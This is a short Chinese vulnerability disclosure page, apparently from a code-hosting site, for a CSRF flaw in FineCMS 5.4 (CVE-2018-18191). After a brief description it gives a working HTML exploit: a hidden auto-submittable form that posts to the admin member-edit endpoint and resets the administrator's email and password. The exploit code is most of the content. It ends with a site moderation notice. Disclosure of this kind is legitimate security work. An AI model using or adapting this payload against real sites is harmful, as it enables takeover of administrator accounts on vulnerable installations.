代码拉取完成，页面将自动刷新
| 漏洞名称 | 上报日期 | 漏洞发现者 | 产品首页 | 软件链接 | 版本 | CVE编号 |
|---|---|---|---|---|---|---|
| Finecms_v5.4存在CSRF漏洞可修改管理员账户密码 | 2018-10-07 | 踏月留香 | http://www.finecms.net/ | http://down.chinaz.com/soft/32596.htm | 5.4 | CVE-2018-18191 |
恶意攻击者可以精心伪造一个html页面诱骗已登录的管理用户点击，从而更改管理员账户密码。
exp代码如下：
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/admin.php?c=member&m=edit&uid=1" method="POST">
<input type="hidden" name="page" value="0" />
<input type="hidden" name="member[email]" value="admin@163.com" />
<input type="hidden" name="member[name]" value="admin" />
<input type="hidden" name="member[phone]" value="18888888888" />
<input type="hidden" name="member[password]" value="888888" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
此处可能存在不合适展示的内容，页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容，可点击提交进行申诉，我们将尽快为您处理。
